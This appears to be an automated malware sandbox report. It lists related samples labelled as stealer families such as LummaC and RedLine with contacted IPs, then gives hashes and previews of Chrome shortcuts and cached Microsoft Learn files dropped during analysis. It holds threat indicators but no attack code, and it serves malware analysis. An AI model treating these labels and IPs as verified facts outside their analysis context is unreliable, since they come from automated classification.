	n5QCsKJ0CP.exe	Get hash	malicious	RedLine	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	S#U043eftWare.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 13:37:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9752810902518796
Encrypted:	false
SSDEEP:	48:8RdFTN5EHcUidAKZdA19ehwiZUklqehvy+3:8pXzy8y
MD5:	4AB6CBA70AE3D23F8DBC61FD23CDA865
SHA1:	301D9FDC5D1F1003A651CC11E905906522BCB6E2
SHA-256:	2E5EC308983B4B2F23DB0B5FF2F313B4FD38C008525BB281BDC10169222FB72D
SHA-512:	B09332C6D00B2DD55A8C3CA0358A281504D4E35259E8DFC138547BEA250FC7B6FE2C9EF1BAA815E78B8CBE448CE554E5FF07FE98419AEE0B0C9251727F1A5E05
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....F..>.=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY.t....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY.t....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY.t....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY.t..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.t...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............5......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 13:37:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9925677573447227
Encrypted:	false
SSDEEP:	48:8CdFTN5EHcUidAKZdA1weh/iZUkAQkqehsy+2:8oXzo9Qdy
MD5:	3D709FA3AF5AD1A301B6D73440CDB13F
SHA1:	6A4EAFBC5BFAB853B96BF795EECFE777B5483C8C
SHA-256:	E6B56FC9282142E8AE7EC30ACF5251CCD6461DBC0D0E7F448B8ABA36F0FAEDAE
SHA-512:	0E4D446822A99D7F2957A2E95C5CE0AA5514E504FDDBD794E7838A7637E157749E444078A5056E638A852B1BFF99B120901FBA8AD6786721173EFB302F9C7E25
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....=">.=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY.t....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY.t....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY.t....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY.t..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.t...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............5......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003856909486114
Encrypted:	false
SSDEEP:	48:8xidFTN5sHcUidAKZdA14tseh7sFiZUkmgqeh7sCy+BX:8xIXLAn4y
MD5:	4F75568DE7E1205582837D63735A88EA
SHA1:	2FA8252DDC64F73219D8572F6CC993010830D7E5
SHA-256:	25F13D090338CAD5045C55F86F8E0CE6E5CFE53D65F6B04C9ABC11C113FD8B7F
SHA-512:	3DFC2BEE7B7D6363409A1FB14410EE86173649B297EC4318CB620E86DF89639607568480F14B118D52A6CE74EBAB2779739A5BBBCD3E10ED599DD86310C3CE50
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY.t....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY.t....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY.t....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY.t..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............5......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 13:37:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990863821722493
Encrypted:	false
SSDEEP:	48:8IJdFTN5EHcUidAKZdA1vehDiZUkwqehQy+R:8IBXzz6y
MD5:	A3FD6EB587D356038CA236FC58E569B2
SHA1:	E519EB50A7340FA60643019C8832AABED2D575FB
SHA-256:	C6F79779D8C3A6556BE53E9D4EDA1AD78E095601A58E651AF7902F9354C6BC91
SHA-512:	67970099234A21113D993F733B4CDA5F6A1E34A4F5ABB12BC5C44832BF06633FE0026E90897BDBD7DA3438ACB47B9DF882D76D850D9D93CB99BC0D997C063FC2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......>.=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY.t....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY.t....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY.t....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY.t..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.t...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............5......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 13:37:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9804242253773268
Encrypted:	false
SSDEEP:	48:8ndFTN5EHcUidAKZdA1hehBiZUk1W1qeh+y+C:8vXzj9ey
MD5:	9B9DD37A238FE768F8A9E3B75C4C05BD
SHA1:	4C8367558DA7197976E18492147A25F018A003BA
SHA-256:	E7363D29BAD4B3AE6AA7C05A23AB8CF4A4ED68CB3F32152DA49E19E96C045BC8
SHA-512:	0EF5156E673FC4783338F65226B6B87AF16E4A8999E7AB1B6C824CE562115ED9DD8E4490FC16B50E6B194EBBEB9DA0EDC2F6D0D0755E36F4E1FBD1F5E52DCD58
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....3(>.=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY.t....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY.t....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY.t....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY.t..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.t...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............5......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 13:37:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9889423213814403
Encrypted:	false
SSDEEP:	48:8HKdFTN5EHcUidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb4y+yT+:8HQXzTT/TbxWOvTb4y7T
MD5:	ED28E6ED6DE2059AD01D8AAB7BA42489
SHA1:	CB6EEFD048F03297C57B517D50E0FBA2D83D558D
SHA-256:	B415B85BFF38789BEFC2FDC87AF1CA755409BD416B6FB00C168D36AA99A960E8
SHA-512:	BBB0F7820AE508E0EE6B2329CB514F986B5CAE3AEBF5A64463E0619FD683580956844ABC238A4CC875592C8AC8528F53FB45D9C95540A85DE9C7D40D53E0FC9A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....o..>.=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY.t....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY.t....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY.t....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY.t..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.t...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............5......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
